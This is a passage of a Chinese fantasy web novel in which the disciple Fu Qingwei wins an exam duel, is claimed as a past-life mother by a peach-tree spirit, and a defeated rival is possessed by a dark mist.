小猫总不会像她一样吃她的手指,贪婪得满嘴都是。 傅清微低下头,凑近去捏小三花的粉爪爪,满脸喜爱,没注意到她一闪而过的眼神。 穆若水想提前走不完全是为了躲着傅清微,这几日混迹在无聊的凡人里,对她的消耗确实过度,横竖她是陪弟子应考,走到这一步感天动地,不想再继续勉强自己。 而且越生活在人群里,越需要傅清微为她安抚情绪,又会增加她们的亲密次数,恶性循环。 她不如清净会儿。 提到清净,穆若水瞬间有点清净不起来。 清净派的那位还对傅清微虎视眈眈呢,一见二人相携过来,目光只落在傅清微身上。 论外形和气质,青袍广袖、自带世外高人风范的穆若水向来是她们俩中首先被看到的,只有龙道友一门心思都在傅清微身上。 傅清微路过了敢看不敢言的龙璇玑,来到了二人的固定观战位。 腰立刻被拧了一把。 傅清微:“……” 穆若水:“你笑什么?” 傅清微眼尾稍弯,抿住嘴,说:“没什么。” 这可是师尊第一次掐她的腰! 可惜不能当场拍下来,回去掐痕肯定没了。 穆若水指鹿为马:“定是看到清净派的龙道友笑了吧?” 傅清微忠心不二:“我是看到师尊在我身边,心中高兴,这才笑了。” 穆若水:“她昨天送你药膏,你不要去道谢吗?” 傅清微:“我已托肖道友代为道谢了。” 穆若水哼了一声。 傅清微重新牵起她甩开自己的手,十指相扣,另一只手大胆地覆上来,抚摸师尊的手背。 穆若水:“……” 越发妄为,罢了,且由她这一次。 肖灵秀默默地靠近了公羊道友一些,生怕打扰到她们。 穆若水说着比完自己那场就走,实际傅清微的比试排在她之后,她怎么也不会提前离开,必须看完再走。 傅清微今天抽到的是一位姓赵的道友。 前几天的比试傅清微都看过,赵阳夏的水平在中游,和她的胜负应该在六四开,傅清微赢的概率大些。 但实战中,这么点差距几乎可以忽略不计。 赵阳夏也做了赛前准备,因为傅清微在这届骚操作多,与她对战过的基本都详细描述了经过。尤其是她三项里最强的阵法,第一日的孙道友说是一只老虎,第二日的蒋稷说是两只白虎,谷传音没让她使出阵法。 剑法,她有一柄神兵。至于符箓……暂时只用了火符。 赵阳夏怀抱长剑,睁开眼走上了台。 傅清微仍然是带着所有的家当,站到了他的对面。 结界合拢,比试开始。 赵阳夏使的是快剑,一开始便攻势密集,去如流星,想要在傅清微使出她的招数之前将她败于剑下。 傅清微踏出了禹步。 傅清微在蓬莱练了两个月,即使身法掌握的速度过于常人,但是缺乏对战经验,前两天在蒋稷掌下逃窜得狼狈至极,今日使起来却从容很多。 如果换一身其他人一样的道袍,游龙回雪,衣袂带风,也有飘逸之姿。 傅清微做过动捕演员,本来就身形灵活,反应机敏,在穆若水的教导下更是如鱼得水,禹步是她最快学会的。其次是阵法,布阵靠走位,走位学好了一通百通,事半功倍。 剑法相对是最难练的,因为她没有任何使剑的基础——她上次配的那个动捕角色拿的还是刀。 第一次从木剑换成开刃的真剑后,傅清微练了一会儿手就抬不起来了。 剑走轻灵,但也是金属打造,剑长三尺,握在手里沉甸甸。 那段时间傅清微每天晚上吃饭手都是抖的,还要师尊给她烧水热敷,她自己按揉手腕。 熟悉了半个月才习惯剑的重量。 她的剑法现在练得不算多好,能有对蒋稷那样的出奇制胜全靠神兵和剑招精妙,一旦缠斗,她必输无疑。 所以傅清微轻易不会用剑正面迎敌,只用禹步和赵阳夏斡旋,避无可避时出剑,给自己腾出时间和空间布阵。 赵阳夏也猜得到她的策略,他试图阻止是一回事,能不能阻止是另一回事。 “五丁都司,太上浩凶——” 符火在石台爆燃,炽热的火焰扑面,赵阳夏不得不退后避其锋芒。 “三十万兵,卫我九重!” 尖锐的荆棘土刺从地面凭空冒出来,赵阳夏的双脚差点被扎了个透心凉,退势更急,慌忙一个侧滚翻躲过了蔓延向前的土刺。 台下有人忽然咦了一声。 “这不是昨日谷道友对付她的招吗?” “学得可真够快的。”另一个人感叹。 “那也要她学得会才行,你会符箓吗?” “不会。” “我也不会,我只是个臭使剑的。”好几个人叹气。 符箓著称的门派的符箓不一,效果却是大同小异。比如五雷正法,符箓三山都有传承,劈下来的天雷难道还分三六九等?只和个人的实力有关。 傅清微昨天比完,就对谷传音驱使土刺的符箓很感兴趣,问穆若水有没有类似的,穆若水说没有,但是她研究过后现画了一张,效果差不多,她就把新的符教给了傅清微。 谷传音的实力比傅清微强很多,不像傅清微使出来的只分布在直线,她是成片的突袭,昨天把傅清微逼得慌不择路,差点连滚带爬,全无形象。 傅清微现阶段虽不如谷传音,但赵阳夏比谷传音差得更远。 傅清微故技重施了几次,赵阳夏再次举剑攻到她面前时,身边的场景一换,两只白虎稳稳落地,挡在了傅清微的身前,齐声兽吼撼地动天。 她的阵成了。 傅清微松了口气。 赵阳夏料到会有此着,虽然事情棘手,但并未慌乱。 首先要拖住白虎,其次慢慢寻找阵眼,保存体力,才能出阵后赢取胜利。 他沉着冷静地盯住对面两只白虎,下一秒,他冷静的面孔瞬间破碎。 白虎大口一张,吐出一个火球。 赵阳夏过于震惊,导致躲避不及时,道袍被燎了一个角。 我靠,不是物理攻击吗?怎么突然进化到法术攻击了?! 唯二入过阵的孙承志和蒋稷在台下看着他,面露诧异。 怎么不见赵道友和白虎搏斗,只瞧见他被追得到处跑啊? 赵阳夏也不想啊,但是这两头白虎,一只会张口喷火,另一只前爪拍地,如出一辙的土刺就从地面钻出来,他连近身都近不了,左支右绌,找阵眼更是天方夜谭。 这两头白虎,好像在阵中继承了傅清微的能力。 或者说,在她的阵中,她学会了什么,异兽就能驱使出什么。 赵阳夏力竭仍无法脱身,大声道:“我认输!” 傅清微把地上的符揭起来,笑道:“承让啦,赵道友。” 她堂堂正正赢的第一场,当然要笑。 赵阳夏双手抱剑拱手:“傅道友道法高强,贫道心服口服。” 他转身下台后,表情说不出的复杂。 他今年已经三十多岁了,也不是第一次考灵管局。永远都有更年轻更优秀的天才出现,这一届的谷传音、张岭、公羊荪、肖灵秀,还有年纪轻轻的傅清微,符、剑、阵三修的全能型,她们都太耀眼了。 也许人能走到的极限,从出生的那一刻就注定了,他再怎么努力,也是为了衬托天才而存在。 “赵道友。”武当派的蒋稷上前接他。 赵阳夏摇了摇头,说:“我想回去休息了。” 赵阳夏和考官请示过后,离开了现场。 自从穆若水开了这个头,整个赛程就断断续续出现这种事。所谓学坏一出溜。 傅清微从台上端庄地走下来,最后几步实在忍不住蹦跳到了穆若水面前,邀功道:“师尊!” “做得不错。”穆若水摸了摸她的脑袋,说,“想要什么奖励?” 傅清微的眼睛瞄到了她修长的手指上。 穆若水清了清喉咙,道:“这个暂时不行。” 傅清微眨了眨眼。 师尊知道自己要什么奖励吗? 她为什么说暂时?现在不行,难道将来可以? 穆若水又问了一次:“你想要什么奖励?” 傅清微不想随便浪费一次机会,于是说:“先记在这里,将来兑现可以吗?” 穆若水说可以。 傅清微从工装裤的口袋里掏出纸笔,写下日期,记:师尊欠傅清微一个奖励。 虽然手机也可以记录,到底不如白纸黑字来得正式。 傅清微在手机备忘录又记了一份。 穆若水说:“我走了。” 傅清微问:“你去哪儿?” 穆若水说:“你忘了?我说看完就走的。” 傅清微抱着她腻腻歪歪地撒了一会儿娇,才不舍地放她离开。 公羊荪看着傅清微目光痴缠她师尊离开的背影感叹道:“她们师徒俩感情真好,你说是不是肖道友?” 肖灵秀:“是啊,两个人睡一张床。” 公羊荪:“真的吗?那岂不是情同母女?” 傅清微转过来,幽幽地看了她一眼。 肖灵秀:“哈哈哈哈。” 龙璇玑在人群外围,瞧着这边,傅清微无意间和她眼神对上,礼貌地颔首,一触便错开。 穆若水走之前特意交代了她,不可拈花惹草。就算不交代,她也很自觉,别人不找她她绝不主动搭话。 傅清微看完了今日所有的比试才回到酒店。 穆若水不在房间,傅清微给她发了微信,穆若水回了一句快回来了,二十分钟后出现在了她面前,给她带了串糖葫芦。 ——也不知道是不是她自己想吃。 两人一人一颗的轮流把糖葫芦吃了。 糖衣裹得粘稠,红色的糖粘在她的牙齿上,傅清微试了两次自清洁没弄下来,扭头找纸巾。 穆若水从书桌的纸巾盒里抽了一张纸,对傅清微说:“张嘴。” 傅清微抬起一半的手垂落身侧,乖乖地启唇。 穆若水说:“张大一点。” 傅清微前两次的记忆和现实重叠,喉咙吞咽,耳垂悄悄地染上粉色。 穆若水视线掠过,顿了一下,说:“也不用张这么大,给我看到牙齿就行。” 傅清微调整好,微微仰脸面对她。 穆若水手指凑近她的唇,用纸巾沾去了她牙齿表面的糖,不知怎的依旧没有移开。 傅清微张着唇,感觉她的下巴被轻轻地托起来,穆若水的拇指指腹一颗一颗擦过她排列整齐的牙齿。 有一种痒麻的触感传达到后脊柱。 傅清微僵着身子,吞去口腔多余分泌的液体。 “好了,干净了。”穆若水收回手。 她坦坦荡荡,傅清微却自觉心虚地退后一步。 穆若水没有表面那么平静,多此一举地叮嘱了一句:“下次小心一点。” “是,师尊。” “嗯。”穆若水坐了下来,碰过她牙齿的手并没有说要去洗。 傅清微抿了抿唇,感觉耳根又有点热。 她只好先行打坐练功,让自己不要再去想这些乱七八糟的。 穆若水趁她这段时间去浴室洗澡,比平时多花了几分钟的时间,一身长袖的真丝睡衣,柔软的面料下女人的身材依旧勾勒得曲线成熟,匀称美好,没有一丁点儿遗憾。 穆若水掀开被子坐了进去,一面看书,一面时不时抬起眼,赏心悦目一番。 打坐的时候真气流转,人体气血充盈,她总是苍白的脸便会泛出不一样的饱满气色,脸颊淡淡粉意,犹如春日杏花,娇媚动人。 穆若水手指微抬,自床头的水杯里取了一滴水悬浮在空中,慢慢朝傅清微的方向飘去。 绕着她的脸转啊转,好像在她的脸上隔空打滚。 傅清微收功,刚一睁开眼,一滴水贴着她的唇缝钻入她的口中,一时甘凉,但又不足以解渴。 哪来的水? 她懵懵地呆坐着,模样煞是可爱。 穆若水在她的注视下,又给她喂了几滴水,懒懒地说:“看明白了?” 傅清微唇瓣湿润,抿了抿残存的水珠,心脏快跳到喉咙口,说:“明白了。” 这样算师尊吻她了吗? 她下了床,看看时间,说:“我去洗澡了。” “去吧。” 明天是单体对抗的最后一天,傅清微三胜一负,已积了三分,排名暂时位列前十,就算明天落败,名次也掉不到哪去。之后就是团体赛了,分组情况要等具体安排。 不知道会和哪些人分到一组? 傅清微坐在书桌前,手持《阵法大全》翻阅,忽然走了一下神。 敲门声响了。 深更半夜,谁会来敲她的门? 穆若水是不会起身的,傅清微走过去打开门,诧异地道:“龙道友?” 穆若水火速下床。 龙璇玑的声音和她年龄一样小:“可以进去说吗?” 傅清微说:“你等一下。” 她回来确认穆若水衣衫整齐,又拿过搭在沙发上的外袍给她披上,扣上系扣,遮得和出门在外一样严实。 这才请龙璇玑进来,带上房门。 两人来到里面,傅清微脚步后撤,差点撞到书桌,被对方突如其来的动作吓了一跳。 龙璇玑在她面前双膝跪地,左右手交叠向前,额头贴地,大礼叩拜。 傅清微和穆若水四目相对,她心想:这是要求她多大的事儿? 傅清微伸手去扶她:“你先起……” 龙璇玑却没有理会她伸过来的手,紧接着端正地磕了三个响头,她抬起头,眼底泪光闪动。 “娘亲,我终于见到您了。”? 啊? 第78章 桃花花瓣自蓬莱观清净的上空飘落, 停留在女人的肩头。 “娘亲,你为什么一直待在这里?” “因为娘亲在等一个人。” “你在等谁?” “等我的妻子。” 傅清微抬手将肩上桃花拂在手心,别到四五岁粉色襦裙女孩的发间, 温柔的话音转了转, 说:“我与清净派的掌教有旧, 即日我便送你去清净派拜师修行。” 璇玑的脸色变了,水汪汪的黑葡萄大眼睛雾气弥漫, 道:“我想留下来陪伴娘亲。” 傅清微的拒绝也像温柔的笔触, 在璇玑的脸蛋轻轻抚了抚,体贴慈爱, 出口的话语却坚持果决:“走吧, 我们现在下山。” 璇玑跪在她的面前,含着泪磕了一个头。 院子里下了一场桃花雨,飘落满地湿润的桃花。 许是顾念璇玑第一次下山, 没有看过人间风景, 傅清微没有选择乘坐任何交通工具,而是牵着她的手,一脚一脚地带她丈量世界。江河湖海, 名山大川,穿过森林,涉过小溪。 日月更替,潮起潮落。 暴雨时找山洞避雨, 点燃篝火,用衣袖帮她擦干脸上的水珠。 那是小小的璇玑看来好长好长的一段路, 又是她往后数年梦境里都回不去的地方。 上一秒傅清微牵着她的手从蓬莱出发, 下一秒就站在了清净派的宫殿里,对面的掌教从她手里牵过她小小的手。 娘亲变成了站在她的对面。 掌教尊敬地和傅清微说着什么, 又弯腰揉了揉她的脑袋。 璇玑听话地喊:“师父。” 傅清微不再看她,对掌教说了句:“那就拜托你了。” 掌教牵着她的手站在山门,和她并肩目送女人离开的背影。 她身后的长长台阶落了一地的花瓣。 每一步都湿润。 面前的粉色襦裙女孩哭得梨花带雨,问她:“我还能再见到娘亲吗?” 傅清微半蹲下来,两手擦去她满脸的泪水,温柔地说:“会见面的。” “什么时候?”璇玑哽咽着问。 “我等到她的那一天,我们就会再相见。” “我会陪娘亲一起等。” 女人离开的路上依旧落满了桃花花瓣,只是不再是湿润的,一直到山路的尽头。 她一步也没有回头。 …… 对龙璇玑来说,岁月是不值得在意却又是漫长的。 她的师父清净派的掌教去世,换了新的掌教,她从师妹变成师叔,更小的弟子入门,最后再变成了师叔祖。 她尝试回过蓬莱,但是山上有阵法包围的结界,所有人进去都会迷路,回到原点。 很多很多年过去了,她没有等到娘亲。 她很难过,因为说明娘亲也没有等到她的妻子。 直到有一天,那一年是2029年,她们分开的第不知道多少年,她的师侄现任掌教带回来一个消息:蓬莱观的阵破了,观主出关了。 龙璇玑欣喜若狂,第一时间下山启程去蓬莱,这条回家的路她在心里走了无数遍,终于真的要回去了。 那一次,她还是没能见到娘亲。 她没能进入道观,她也感应不到娘亲的气息,线索断了。 但即便如此,她决定留在凡间,慢慢地寻找她。 灵管局的考试现场,她第一次认出了对方,她似乎改变了一些,变得和从前不太一样,身边也多了一个人,她和那个人关系很亲密。 龙璇玑在山上清修多年,已许久不和生人打交道了,生生纠结了快一周。 明日就是单体对抗的最后一场,要是再错过今晚,说不定她们又要分开,这是她最后一次机会。 * “娘亲,我终于见到您了。”龙璇玑对着傅清微大礼跪拜,端正地磕了三个响头。 她久别重逢,当事人满脸惊恐。 什么啊,她才二十出头,怎么生出十六岁的女儿? 乱攀亲也不是这样的! 傅清微扭过脸看穆若水,慌得五官都快飞了:“师、师尊,我我我……” 师尊明鉴,她是清白的! “慌什么?” 穆若水走过来,一只手按住她的肩膀,另一只手牵住她,将她往自己的方向带了带,明目张胆地表示所有权。 女人在傅清微耳边道:“你问她,你的原形是什么。” 傅清微不理解,但言听计从:“你的原形是什么?” 龙璇玑回道:“禀娘亲,我是一株桃树。” 傅清微哦了声,心想:桃树啊。 桃树? 傅清微震惊:“你是妖???” 天哪,这可是活生生的妖啊,竟然就这样出现在了她的面前,自报家门。 灵管局可以允许妖报考吗? 龙璇玑低了低头,抬起眼说:“是娘亲助我化形的,您不记得了吗?” 傅清微觑了觑穆若水黑如锅底的脸,小步一挪,默默地又拉远了些距离,客气地说:“小桃花,你听我说,你肯定认错人了。还是说你有什么事想求、请我帮忙,只要我力所能及,我会尽量帮你。” “可你就是我娘亲啊。” “我不是。” “你是。” “我真的不是。”傅清微的手快摆出残影。 “你真的是。” 两个词汇贫乏的社恐交流起来就像鬼打墙。 眼看着穆若水的脸色阴郁得快滴出水,傅清微连忙结束话题道:“我想和你姥姥商议一下,你先回去等消息。” “姥姥?”龙璇玑垂眸静静地思考了一会儿,问,“她不是娘亲的妻子吗?” 傅清微:“……” 完了,这比认娘还恐怖。 今天就看她们娘俩怎么一起死在观主的掌下! 傅清微紧紧闭了好一会儿眼睛,没等到掌风落下,眯缝着眼往旁一瞧,穆若水眉宇间的阴郁离奇地消失了,神情古怪,似喜非喜,似怒非怒的捉摸不透。 傅清微识趣地先将璇玑扶起来。 龙璇玑膝行退后,朝穆若水也磕了一个头,嘴巴张了张,吐出一句:“师娘。”这才自己站起来。 一个娘,一个师娘。 娘管师娘叫师尊,真是一家乱了套的人。 好不容易把龙璇玑送走了,傅清微把刚通过微信好友申请的手机锁屏放在书桌上。 今晚闹的这一出兵荒马乱。 傅清微来不及叹一口气,马上去向穆若水澄清:“她真不是我女儿。” 穆若水甩开她的手,斥道:“你当我傻么?你是人,她是妖,人妖殊途,你怎么生得出这个女儿?” 是这个道理,显而易见。 傅清微更不懂:“那师尊为什么生气?” 穆若水哼了声。 龙璇玑在清净派修行,功法纯正,身上的妖气很淡,穆若水先前只看出她是植物化形,最多猜到是树,具体是什么树却看不出来。 所以她才让傅清微问她原形是什么。 她是什么不好?非要是桃花? 穆若水严防死守,生恐傅清微的桃花运会应验,这下倒好,来了真桃花。 幸而这成了精的桃花会说两句好听话,否则她当场将她毙于掌下。 穆若水坐下来:“倒水。” 傅清微立刻鞍前马后地端茶倒水,捏肩捶腿。 穆若水小口小口抿着水,眼睫微垂。 比起傅清微单纯地坚持认为是一场误会外,她反而觉得龙璇玑的话有几分可信。 妖和人不一样,妖的寿命比人长得多,能够化形的妖都自带高傲,是绝不会无故认一个凡人作做娘亲的。 傅清微身上的特殊穆若水自己也感受过,既然她和傅清微有说不出的渊源,说不定她真的是龙璇玑的娘亲,在某一世曾助她化形,如此功德,恩同孕育,确实当得上一句娘亲。 又回到那个问题,灵魂的契约在经过轮回殿后不会被洗掉吗?为什么她们之间仍保留着羁绊,为什么龙璇玑能认出这一世的她? 以上的问题在最重要的问题面前都黯然失色。 最关键的是傅清微接不接受这种可能。 穆若水私以为她是不接受的。 穆若水把剩的半杯水放进傅清微手里,傅清微自然地接过来喝了一口,比她自己杯子里的甜。 穆若水:“清微,你相信人有前世吗?” 傅清微:“当然相信,我都见到过鬼差了,也知道有地府。师尊的意思是说……龙道友是我前世或者某一世的女儿?” 穆若水点了点头。 傅清微捧着下巴想了一会儿,洒脱道:“可是和我现在又有什么关系呢?” 她现在还是个二十岁天天想着献身的黄花大闺女呢。 穆若水抬手落在她脑袋上。 “确实没什么关系。” “你确定人生不出妖吧?她不是半妖之类的?”傅清微多问了一句。 “我确定。不是,是草木成精。” 傅清微略微舒了口气。 虽然以前的事和她没关系,但万一真有她某一世的血脉,龙道友最近天天在她俩跟前,说不定以后还要共事,她多尴尬,她怎么面对师尊。 ——不是她亲生的就好。 傅清微给占英打了个电话,汇报有妖报考灵管局的事。 占英回复:“灵管局一直是容许妖报考的,只要身世清白,有一颗斩妖除魔的心,我们都欢迎呀。没想到龙道友竟然是桃树成精,桃木为五行之精,天生驱邪,能够加入灵管局是我们的幸运。” 修道之人多用桃木剑,就是因为桃木辟邪,现在有桃树化形的妖愿意效力,灵管局求之不得。 而且龙璇玑底子不要太清白,化形不久就跟随清净派掌教修行,品德纯善,灵管局去清净派背调的时候众弟子有口皆碑。 占英过了会儿又微信回复她:【龙道友报考的时候应该登记过资料了,她这种特殊情况,基本保送了】 傅清微:“……” 这才是真正的萝卜坑。 偏偏她还嫉妒不起来,谁让人家是桃花妖呢? 又好看又有用的。 傅清微坐在床头,斟酌着措辞给龙璇玑回微信。 她打字:【小桃花】 穆若水坐在她边上盯着,说:“不准叫她小桃花。” 傅清微删掉重写:【龙道友,我与你师娘认真商议过后,相信了你说的是实话。但前尘往事,毕竟已隔了一道轮回,你叫我作娘亲,我实在不能接受,今生有缘,我们做朋友,你看可否^_^】 傅清微:“怎么样?” 穆若水无情道:“不怎么样。” 但凡她拿对自己那甜言蜜语的心思分给别人一点,都不会写出这样生硬的东西。 有点脑子都花在哄自己身上了。 穆若水得了便宜还卖乖,克制地抿去了嘴角的笑意。 傅清微没注意她细微的表情,把手机往她面前一推:“那你说怎么写?” 穆若水:“大胆,怎么和师尊说话的?” 傅清微:“……” 又来这招。 她把手机锁屏一搁,破罐子破摔地往她怀里一钻。 穆若水坐着,靠在床头,唯一露出来的部分只有腰部以上,傅清微但凡不特意避开,都会碰到她的…… 隔着薄薄的真丝睡衣,傅清微的脸贴在了极为柔软的地方,耳根细腻的皮肤甚至感受到了雪腻之外的,唯一凸起的顶点。 她起初没反应过来,呆了呆才猛然察觉是什么。 傅清微一个挺身坐直了,继续拿过手机,面红耳赤,按错了三次解锁密码。 傅清微:【龙道友,我和你师娘认真商议过后,相信了你说的话。但是我今生只有二十岁,而你也是个大姑娘了,请容许我对这段关系一时难以接受,我们暂时做朋友吧,明天见^_^】 点击发送。 对方正在输入。 对方正在输入…… 傅清微和手机大眼瞪小眼瞪了三分钟,她干脆去卫生间洗漱,做好了所有睡前准备回来看消息。 龙璇玑的回复来得刚刚好:【明天见,可以叫我璇玑】 傅清微:“……” 就这?她憋了快二十分钟。 太好了,是真正的社恐,她不用付出社交能量了。 龙璇玑躺在床上,两只手举着手机拿在眼前,她的消息刚发出去,对面就回复她了。 傅清微:【晚安璇玑】 龙璇玑桃花一样的脸从浅红变成深红。 这一世的娘亲变得好不一样,以前的娘亲虽然温柔,却并不好接近。现在的娘亲好像没有那么多的距离感,还会亲切地对她说晚安。 是因为她的妻子回到了她身边吗? 好喜欢娘亲,她身上的味道没有变,是她记忆里的气息。 龙璇玑在床上快乐地打了一个滚。 等她想起来回复时,已经过去了十几分钟。 她想回复措辞又想了二十分钟。 半个多小时过去了,娘亲和师娘应该都已经睡了。 龙璇玑:“……” 龙璇玑沉浸在找到娘亲的喜悦中,这夜睡得比平时都要晚。 她隔壁住的是赵阳夏,白天输给傅清微的那位道友,她刚闭上眼睛,听见隔壁传来动静,似乎是赵道友喊了一声“滚开”。 模糊不清,可能是她听错了也不一定。 但万一他遇到事情,需要求助呢? 龙璇玑从被窝里爬了起来,走了一半回来披上外套出了房间,克服自己的社恐,敲响了隔壁的房门。 “赵道友。赵道友?” 龙璇玑加重力度又叩了几声门。 深夜的走廊只有她一个人半披着衣服站在这里,她身为辟邪的桃树,虽然不必害怕,但是她有点怕黑,怕空旷回声。 龙璇玑低头瞧了瞧底下的门缝,决定伸进去一根桃枝探探虚实。 虽然桃枝不能视物也不能打架,但是万一有邪祟,还是能查探到的。 龙璇玑从手指分出一根细细的桃枝,正要顺着门缝钻进去,里面传来赵阳夏低沉的回答:“门外是谁?” “赵道友,我是清净派的龙璇玑。” “是龙道友,有事吗?”赵阳夏的声音恢复了平时说话的语调。 “你有没有事?我听见你好像在和人争执。” “打翻了一个水杯,吵醒你了吗?不好意思。” “没有没有。” 龙璇玑到这就不知道怎么继续接话了,好在赵阳夏主动说:“时候不早了,我没事,龙道友回去休息吧。” 龙璇玑如释重负,没再说结束语,回到了自己的房间。 房间里的赵阳夏蹲下来,捡起地上的玻璃碎片,眼睛在笑,嘴角却弧度诡异。 下午比试输了以后赵阳夏就回到了酒店。 前四天他的比试一胜三负,他的实力中游,但运气不好,第二天和第三天分别抽到了公羊荪和张岭,从上场到惨败不过是片刻的工夫,他第一天初胜的意气被磨得消耗殆尽。 第四天他遇到了傅清微,困在阵法里动弹不得,只能狼狈认输。 输给公羊荪和张岭就算了,经过前几天的比试,众人公认他们俩的实力在第一档,和第二档有断层的强,但是他那么努力地准备了,为什么还是输给了名不见经传的傅清微?明明他们的水平相差不大。 迄今他输了三场,名次排在二十开外,几乎末尾,不管明天的比试结果如何,他今年应该都考不上灵管局了。 来报考的都是各派的年轻人,除了个别散修年纪大些,名门正派里很少三十岁以上的,他是其中年纪最大的,屡战屡败。 下台的时候,他觉得看向他的都是同情的目光。 真可怜,比她们大那么多,实力却不像年纪一样增长,又输了,明年还来吗? 赵阳夏在众人的环视下抬不起头,站在人群里让他感到窒息。 晚上师父给他打来视频电话,给他拍院子里的鸡鸭鹅,说入门的小弟子又调皮了,让他这个大师兄回去管管,绝口不问考试的事。 师父待他很好,师父心里也有数,怕伤他心才故意不问的。 他都明白。 可是…… “你甘心吗?就这样次次输?让师门的名誉扫地?” “谁?”正在打坐的赵阳夏睁开眼,目光激射,看向四周。 “看着别人,年纪轻轻次次夺冠,天赋纵横,都是人,你比她们差在了哪里?” 赵阳夏环顾过后,发现声音是从自己心里传出来的,他闭目继续打坐。 “是你不够努力吗?你三岁拜入师门,冬练三九夏练三伏,每日拔剑收剑一千次,你练剑的年月比她们所有人的年纪都大,你甘心就这样屈居人下?” 赵阳夏平静道:“人的天赋各不相同,我有什么不甘心。” “那你的师门呢?”那道声音又道,“你的师门既不是茅山龙虎山那样人才辈出的大派,也不像蓬莱观那样默默无名,辉煌过后又没落,不上不下,阁皂山好歹出了个岁已寒。你的师门有谁?” 赵阳夏心说:有我。 “你想加入灵管局,成为下一个岁已寒,和她一样振兴门派。所以你屡败屡战,相信自己是潜龙在渊,终有一日你会做到。你越发努力地练剑,日日夜夜不敢懈怠,可现实呢?你又要失败了,你失败不要紧,你的失败就是你师门的失败,所有人都会知道太乙派的大师兄把师门的脸面一次次踩在地上,还要让别人过来踩!” 赵阳夏呵斥:“闭嘴!休要坏我道心!” “不想赢一次吗?”那道声音不屈不挠。 在赵阳夏的面前,一团黑雾从空气浮现,面孔模糊,露出诡异的微笑。 “为了你自己,为了你的师门,不想要变强吗?” 变强? “接纳我……”那道声音诱哄道,“我会帮助你变强,你的师门会被所有人尊敬。” 黑雾化作丝丝缕缕,开始钻入赵阳夏的七窍。 “你是什么东西?”赵阳夏睁开眼,看到了实质的黑雾,赫然提高声音,打翻了边上的水杯,“滚开!” 他嘴唇念动咒语,然而已经来不及了,黑雾张开血盆大口,吞噬了他所有的意志。 …… 赵阳夏把地上的玻璃碎片一片一片地捡起来,用纸巾包着丢进垃圾桶,泼出的水擦干,脸上已经没有方才的异色。 他站在原地按了按自己的后颈,他好像忘记了一些事,打翻水杯之前他在做什么来着? 明天还要比试呢,他得赶紧睡觉养精蓄锐。 就算最后一场,也要竭尽全力。 第五天,单体对抗最后一轮。傅清微和穆若水一走近,便看到显眼的大屏幕上,赵阳夏的名字后面是灰的。 “傅道友。”第一个抵达比试场地的龙璇玑主动朝二人走了过来,声音还是比常人小,“我来得早,我知道是怎么回事,赵道友身体不舒服请假了,这一轮算弃考。” 这么关键的时候弃考? 傅清微见识少闻所未闻,但其他人的事她懒得管。 龙璇玑轻轻地垫了垫脚,身体微微前倾,满眼的心思藏不住,一副等着挨夸的样子。 傅清微看她样貌小,忍不住多了一分温和:“多谢你告诉我,璇玑。” 龙璇玑喜形于色,瞧见她身边戴着口罩的穆若水,尊敬中透着更多的尊敬:“师娘早上好。” 穆若水:“。” 傅清微总不可能让她改口叫姥姥,既然她执意叫师娘,穆若水又不反对,那她只好欣然接受。 肖灵秀刚走过来,就听到这么一句。 “……” 刚一天不见,两口子就变一家三口了? 她能不能也加入这个家?她们四个人把日子过好比什么都重要。 肖灵秀敢想不敢言,几人聚在一起谈论了几句赵阳夏弃考的事,都没放在心上,又不是多熟的人,顾自己还来不及。 傅清微今天是最后一场,抽签结果已经出来了,运气不好不坏,对手势均力敌。 龙璇玑比前些天站得近了些,但不如肖灵秀等人近,她知道傅清微和穆若水不喜欢其他人打扰,她也不是粘人的性子,更不爱说话,所以乖乖挑了个中间的位置。 傅清微和穆若水照旧在角落卿卿我我,傅清微正捧着师尊的手占便宜,却见她手背忽然落上一朵桃花,粉白动人。 穆若水伸手在她肩膀碰了一下,也捻下一朵桃花。 好端端在结界里,怎么会有桃花? 心思刚动,还未完,两人便被漫天粉色的桃花雨包围,花瓣落地,在地上组成了大大的爱心形状。 傅清微:“……” 穆若水:“……” 第79章 有人在石台比试, 有人在婚礼现场。 肖灵秀第一时间举起手机拍照留念。 天空的桃花雨没有完全落尽,几瓣粉花悠悠地自上方不时飘落,延续漫天花瓣的氛围感。 站在大大的爱心中间的穆若水和傅清微二人不约而同地感受到了一种羞耻。 世上能让观主羞耻的东西绝无仅有, 在今天有了。 台下观战的众人张大了嘴。 哪来的桃花?还会自己摆造型, 傅道友又研究出新的阵法了吗? 她们师徒果然关系不清白。 拜傅清微先前的事迹所赐, 众人没有第一时间怀疑到现场有妖施法,高台上端坐的考官跳了下来, 扫了眼龙璇玑的方向, 欲盖弥彰地解释道:“哈哈,这是我们今天为最后一场比试准备的惊喜彩蛋。” 众人:“……” 她们看上去脑子像是那么不好使的吗? 肯定是傅道友干的! 傅清微含泪替龙璇玑背了这个锅。 灵管局虽然容许妖报考, 但是人妖殊途, 很难保证所有人对妖都态度友好,所以惯例是隐瞒真身,将来她有了自己的职位, 也只有共事的同组同事及上级知晓。 不到不得已, 不建议当众暴露身份,更不建议随地大小雨。 龙璇玑一向遵守得好好的,今天实在高兴, 就给娘亲和师娘下了一场桃花雨。 爱心是她从人类社会学的,听说成亲的人婚礼都有,既然是妻子,她们俩应该成亲了吧。 可自己还没有准备新婚贺礼。 傅清微要是知道她的心理活动, 一定会现在就阻止她。 以她能下出爱心的阵仗,不知道会想出什么礼物。 傅清微把现场的桃花打扫了, 拢作一堆, 别说,小桃花下的真桃花就是不一样, 白里透粉,深深浅浅的红,每一朵都细嫩,落在掌心轻柔沁凉。 零落成泥香如故,怪可惜的,不知道能不能回收? 傅清微怜惜地看了看小花堆。 她回到了穆若水的身边,穆若水低头顺着小三花的毛,不说话,不知道是不是仍然在消化。 “师尊?你还好吗?” “……” 穆若水可以当众秀恩爱,但不接受以这么土的方式,她的威名和脸面何在? 幸好她披了马甲,否则她当场把所有人灭口。因为傅清微不喜欢她杀人,所以她会连夜赶回蓬莱。 她之所以还能好端端地站在这里,都要感激之前化名的英明决定。 穆若水暂时不想开口。 傅清微看出她活人微死的状态,识趣地没有再追问。 傅清微低头给龙璇玑发微信:【龙道友,桃花很好,但爱心就不必了】 龙璇玑:【是师娘不喜欢吗?】 傅清微:【娘也接受不了】 傅清微在发送之前及时发现了问题,赶紧把自称改回“我”。 龙璇玑:【知道了】 傅清微回想两人站在花雨里四目相对,眼中只有彼此的模样,在爱心落下以前,还是很美好浪漫的。 傅清微明确道:【桃花可以继续下,不要爱心,也不要不分场合地下,看准时机】 龙璇玑:【好的,娘亲】 傅清微没有纠正她的文字,别当面开口叫她娘就行,她就当养了个赛博女儿。 